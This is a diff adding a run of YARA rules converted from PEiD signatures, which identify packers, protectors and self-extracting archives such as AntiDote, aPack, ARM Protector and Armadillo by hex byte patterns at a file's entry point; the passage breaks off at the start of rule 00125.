+rule PEiD_00085_AntiDote_1_2_DLL_Demo____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.2.DLL.Demo -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 08 32 90 90 90 90 90 90 90 90 90 90 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00086_AntiDote_1_2_DLL_Demo____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.2.DLL.Demo -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 08 32 90 90 90 90 90 90 90 90 90 90 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00087_AntiDote_1_2_1_4_SE_DLL____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.2/1.4 SE DLL -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 08 32 90 90 90 90 90 90 90 90 90 90 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 ?? 75 ?? 8B 1E 83 EE FC 11 DB}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00088_AntiDote_1_4_SE____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.4 SE -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {68 90 03 00 00 E8 C6 FD FF FF 68 90 03 00 00 E8 BC FD FF FF 68 90 03 00 00 E8 B2 FD FF FF 50 E8 AC FD FF FF 50 E8 A6 FD FF FF 68 69 D6 00 00 E8 9C FD FF FF 50 E8 96 FD FF FF 50 E8 90 FD FF FF 83 C4 20 E8 78 FF FF FF 84 C0 74 4F 68 04 01 00 00 68 10 22 60 00 6A 00 FF 15 08 10 60 00 68 90 03 00 00 E8 68 FD FF FF 68 69 D6 00 00 E8 5E FD FF FF 50 E8 58 FD FF FF 50 E8 52 FD FF FF E8 DD FE FF FF 50 68 A4 10 60 00 68 94 10 60 00 68 10 22 60 00 E8 58 FD FF FF 83 C4 20 33 C0 C2 10 00 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00089_AntiDote_V1_2____SIS_Team___Sign_by_fly_
+{
+    meta:
+        description = "[AntiDote V1.2 -> SIS-Team ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52 65 73 75 6D 65 54 68 72 65 61 64 00 00 29 03 53 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 94 03 57 72 69 74 65 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 00 6B 03 56 69 72 74 75 61 6C 41 6C 6C 6F 63 45 78 00 00 A6 02 52 65 61 64 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 CA 01 47 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 62 00 43 72 65 61 74 65 50 72 6F 63 65 73 73 41 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 26 00 43 68 61 72 4C 6F 77 65 72 41 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 5E 02 66 72 65 65 00 00 4C 02 66 63 6C 6F 73 65 00 00 DA 00 5F 66 69 6C 62 75 66 00 91 02 6D 61 6C 6C 6F 63 00 00 64 02 66 74 65 6C 6C 00 62 02 66 73 65 65 6B 00 57 02 66 6F 70 65 6E 00 C5 02 73 74 72 73 74 72 00 00 4D 53 56 43 52 54 2E 64 6C 6C 00 00}
+    condition:
+        $a
+}
+rule PEiD_00090_AntiDote_V1_2_Demo____SIS_Team_
+{
+    meta:
+        description = "[AntiDote V1.2.Demo -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {E8 F7 FE FF FF 05 CB 22 00 00 FF E0 E8 EB FE FF FF 05 BB 19 00 00 FF E0 E8 BD 00 00 00 08 B2 62 00 01 52 17 0C 0F 2C 2B 20 7F 52 79 01 30 07 17 29 4F 01 3C 30 2B 5A 3D C7 26 11 26 06 59 0E 78 2E 10 14 0B 13 1A 1A 3F 64 1D 71 33 57 21 09 24 8B 1B 09 37 08}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00091_AntiDote_v1_4_osCE__Sing_by_osC__CoDeR_
+{
+    meta:
+        description = "[AntiDote v1.4 osCE *Sing by osC++CoDeR]"
+        ep_only = "true"
+    strings:
+        $a = {68 95 01 00 00 E8 D0 FD FF FF 68 95 01 00 00 E8 C3 FD FF FF 68 90 03 00 00 E8 BC FD FF FF 68 90 03 00 00 E8 B2 FD FF FF 50 E8 AC FD FF FF 50 E8 A6 FD FF FF 68 69 D6 00 00 E8 9C FD FF FF 50 E8 96 FD FF FF 50 E8 90 FD FF FF 83 C4 20 E8 78 FF FF FF 84 C0 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00092_AntiDote_V1_x____SIS_Team_
+{
+    meta:
+        description = "[AntiDote V1.x -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? 00 00 E8 ?? FD FF FF 68 ?? ?? 00 00 E8 ?? FD FF FF 68 90 03 00 00 E8 ?? FD FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? FD FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00093_AntiVirus_Vaccine_v_1_03_
+{
+    meta:
+        description = "[AntiVirus Vaccine v.1.03]"
+        ep_only = "true"
+    strings:
+        $a = {FA 33 DB B9 ?? ?? 0E 1F 33 F6 FC AD 35 ?? ?? 03 D8 E2}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00094_aPack_v0_62_
+{
+    meta:
+        description = "[aPack v0.62]"
+        ep_only = "true"
+    strings:
+        $a = {1E 06 8C C8 8E D8 ?? ?? ?? 8E C0 50 BE ?? ?? 33 FF FC B6}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00095_aPack_v0_82_
+{
+    meta:
+        description = "[aPack v0.82]"
+        ep_only = "true"
+    strings:
+        $a = {1E 06 8C CB BA ?? ?? 03 DA 8D ?? ?? ?? FC 33 F6 33 FF 48 4B 8E C0 8E DB}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00096_aPack_v0_98__m_
+{
+    meta:
+        description = "[aPack v0.98 -m]"
+        ep_only = "false"
+    strings:
+        $a = {1E 06 8C C8 8E D8 05 ?? ?? 8E C0 50 BE ?? ?? 33 FF FC B2 ?? BD ?? ?? 33 C9 50 A4 BB ?? ?? 3B F3 76}
+    condition:
+        $a
+}
+
+rule PEiD_00097_aPack_v0_98b__com__
+{
+    meta:
+        description = "[aPack v0.98b (com)]"
+        ep_only = "false"
+    strings:
+        $a = {BE ?? ?? BF ?? ?? 8B CF FC 57 F3 A4 C3 BF ?? ?? 57 57 BE ?? ?? B2 ?? BD ?? ?? 50 A4}
+    condition:
+        $a
+}
+
+rule PEiD_00098_aPack_v0_98b__DS___ES_not_saved__
+{
+    meta:
+        description = "[aPack v0.98b (DS & ES not saved)]"
+        ep_only = "false"
+    strings:
+        $a = {8C CB BA ?? ?? 03 DA FC 33 F6 33 FF 4B 8E DB 8D ?? ?? ?? 8E C0 B9 ?? ?? F3 A5 4A 75}
+    condition:
+        $a
+}
+
+rule PEiD_00099_aPack_v0_98b__exe__
+{
+    meta:
+        description = "[aPack v0.98b (exe)]"
+        ep_only = "false"
+    strings:
+        $a = {93 07 1F 05 ?? ?? 8E D0 BC ?? ?? EA}
+    condition:
+        $a
+}
+
+rule PEiD_00100_APatch_GUI_v1_1_
+{
+    meta:
+        description = "[APatch GUI v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {52 31 C0 E8 FF FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00101_Apex_3_0_alpha____500mhz_
+{
+    meta:
+        description = "[Apex 3.0 alpha -> 500mhz]"
+        ep_only = "false"
+    strings:
+        $a = {5F B9 14 00 00 00 51 BE 00 10 40 00 B9 00 ?? ?? 00 8A 07 30 06 46 E2 FB 47 59 E2 EA 68 ?? ?? ?? 00 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00102_APEX_C__BLT_Apex_4_0_____500mhz_
+{
+    meta:
+        description = "[APEX_C (BLT Apex 4.0) -> 500mhz]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? B9 FF FF FF 00 01 D0 F7 E2 72 01 48 E2 F7 B9 FF 00 00 00 8B 34 24 80 36 FD 46 E2 FA C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00103_Apex_c_beta____500mhz_
+{
+    meta:
+        description = "[Apex_c beta -> 500mhz]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? B9 FF FF FF 00 01 D0 F7 E2 72 01 48 E2 F7 B9 FF 00 00 00 8B 34 24 80 36 FD 46 E2 FA C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00104_Apex_c_beta____500mhz_
+{
+    meta:
+        description = "[Apex_c beta -> 500mhz]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? B9 FF FF FF 00 01 D0 F7 E2 72 01 48 E2 F7 B9 FF 00 00 00 8B 34 24 80 36 FD 46 E2 FA C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00105_App_Encryptor____Silent_Team_
+{
+    meta:
+        description = "[App Encryptor -> Silent Team]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 1F 1F 40 00 B9 7B 09 00 00 8D BD 67 1F 40 00 8B F7 AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00106_App_Protector____Silent_Team_
+{
+    meta:
+        description = "[App Protector -> Silent Team]"
+        ep_only = "true"
+    strings:
+        $a = {E9 97 00 00 00 0D 0A 53 69 6C 65 6E 74 20 54 65 61 6D 20 41 70 70 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 72 65 61 74 65 64 20 62 79 20 53 69 6C 65 6E 74 20 53 6F 66 74 77 61 72 65 0D 0A 54 68 65 6E 6B 7A 20 74 6F 20 44 6F 63 68 74 6F 72 20 58 0D 0A 0D 0A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00107_App_Protector____Silent_Team_
+{
+    meta:
+        description = "[App Protector -> Silent Team]"
+        ep_only = "true"
+    strings:
+        $a = {E9 97 00 00 00 0D 0A 53 69 6C 65 6E 74 20 54 65 61 6D 20 41 70 70 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 72 65 61 74 65 64 20 62 79 20 53 69 6C 65 6E 74 20 53 6F 66 74 77 61 72 65 0D 0A 54 68 65 6E 6B 7A 20 74 6F 20 44 6F 63 68 74 6F 72 20 58 0D 0A 0D 0A 54 68 69 73 20 69 73 20 53 50 61 6B 65 64 20 41 70 70 6C 69 63 61 74 69 6F 6E 0D 0A 53 50 41 4B 20 63 6F 6D 70 72 69 6D 61 74 69 6F 6E 20 73 79 73 74 65 6D 20 69 73 20 AE 53 69 6C 65 6E 74 20 54 65 61 6D 99 0D 0A 60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED 76 22 40 00 E8 04 02 00 00 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 E8 01 00 00 00 9A 59 8D 95 C8 22 40 00 E8 01 00 00 00 69 58 66 BF 4D 4A E8 BF 01 00 00 8D 52 F9 E8 01 00 00 00 E8 5B 68 CC FF E2 9A FF E4 69 FF A5 E4 24 40 00 E9 E8 B9 FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00108_ARC_SFX_Archive_
+{
+    meta:
+        description = "[ARC-SFX Archive]"
+        ep_only = "true"
+    strings:
+        $a = {8C C8 8C DB 8E D8 8E C0 89 ?? ?? ?? 2B C3 A3 ?? ?? 89 ?? ?? ?? BE ?? ?? B9 ?? ?? BF ?? ?? BA ?? ?? FC AC 32 C2 8A D8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00109_ARJ_SFX_Custom_
+{
+    meta:
+        description = "[ARJ SFX Custom]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 15 F0 40 00 8D BE EB 1F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00110_ARJ_SFX_Custom_
+{
+    meta:
+        description = "[ARJ SFX Custom]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 8B EC 6A FF 68 18 C0 40 00 68 C4 A1 40 00 50 64 89 25 00 00 00 00 83 EC 60 53 56 57 89 65 E8 FF 15 38 03 41 00 A3 D0 D6 40 00 33 C0 A0 D1 D6 40 00 A3 DC D6 40 00 A1 D0 D6}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00111_ARJ_SFX_Custom_
+{
+    meta:
+        description = "[ARJ SFX Custom]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 66 9C 60 50 8D 90 5C 01 00 00 68 00 00 40 00 83 3A 00 0F 84 C6 C1 FF FF 8B 04 24 8B 0A 0F BA F1 1F 73 13 FD 8B F0 8B F8 03 72 04 03 7A 08 F3 A5 83 C2 0C FC EB D9 83 C2 10 8B 5A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00112_ARM_Protector_0_1_by_SMoKE_
+{
+    meta:
+        description = "[ARM Protector 0.1 by SMoKE]"
+        ep_only = "false"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 01 00 8D 8D 92 31 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0}
+    condition:
+        $a
+}
+
+rule PEiD_00113_ARM_Protector_0_2___SMoKE_
+{
+    meta:
+        description = "[ARM Protector 0.2-> SMoKE]"
+        ep_only = "false"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 09 20 40 00 EB 02 83 09 8D B5 9A 20 40 00 EB 02 83 09 BA 0B 12 00 00 EB 01 00 8D 8D A5 32 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00114_ARM_Protector_0_3___by_SMoKE_
+{
+    meta:
+        description = "[ARM Protector 0.3 - by SMoKE]"
+        ep_only = "false"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 13 24 40 00 EB 02 83 09 8D B5 A4 24 40 00 EB 02 83 09 BA 4B 15 00 00 EB 01 00 8D 8D EF 39 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4}
+    condition:
+        $a
+}
+
+rule PEiD_00115_ARM_Protector_v0_1_by_SMoKE_
+{
+    meta:
+        description = "[ARM Protector v0.1 by SMoKE]"
+        ep_only = "false"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 01 00 8D 8D 92 31 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4}
+    condition:
+        $a
+}
+
+rule PEiD_00116_Armadillo_3_00a____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 3.00a -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00117_Armadillo_3_00a____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 3.00a -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 33 FF 47 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 EB 87 ?? 7A F0 ?? ?? 61 8B 9C BD 26 42}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00118_Armadillo_3_01__3_05_
+{
+    meta:
+        description = "[Armadillo 3.01, 3.05]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F}
+    condition:
+        $a
+}
+
+rule PEiD_00119_Armadillo_3_10_
+{
+    meta:
+        description = "[Armadillo 3.10]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 E0 97 44 00 68 20 C0 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 4C 41 44 00 33 D2 8A D4 89 15 90 A1 44 00 8B C8 81 E1 FF 00 00 00 89 0D 8C A1 44 00 C1 E1 08 03 CA 89 0D 88 A1 44 00 C1 E8 10 A3 84 A1}
+    condition:
+        $a
+}
+
+rule PEiD_00120_Armadillo_3_6x____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 3.6x -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 33 FF 47 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 EB 87 ?? 7A F0 ?? ?? 61 8B 9C BD AB 76}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00121_Armadillo_3_7x____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 3.7x -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 B8 3B 01 00 00 03 C5 33 DB 81 C3 01 01 01 01 31 18 81 38 78 54 00 00 74 04 31 18 EB EC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00122_Armadillo_3_X_5_X____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 3.X-5.X -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00123_Armadillo_3_X_5_X____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 3.X-5.X -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 60 33 C9 75 02 EB 15 EB 33}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00124_Armadillo_4_00_0053____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 4.00.0053 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 20 8B 4B 00 68 80 E4 48 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4B 00 33 D2 8A D4 89 15 A4 A1 4B 00 8B C8 81 E1 FF 00 00 00 89 0D A0 A1 4B 00 C1 E1 08 03 CA 89 0D 9C A1 4B 00 C1 E8 10 A3 98 A1}
+    condition:
+        $a
+}
+
+rule PEiD_00125_Armadillo_4_10____Silicon_Realms_Toolworks_
+{
+    meta:
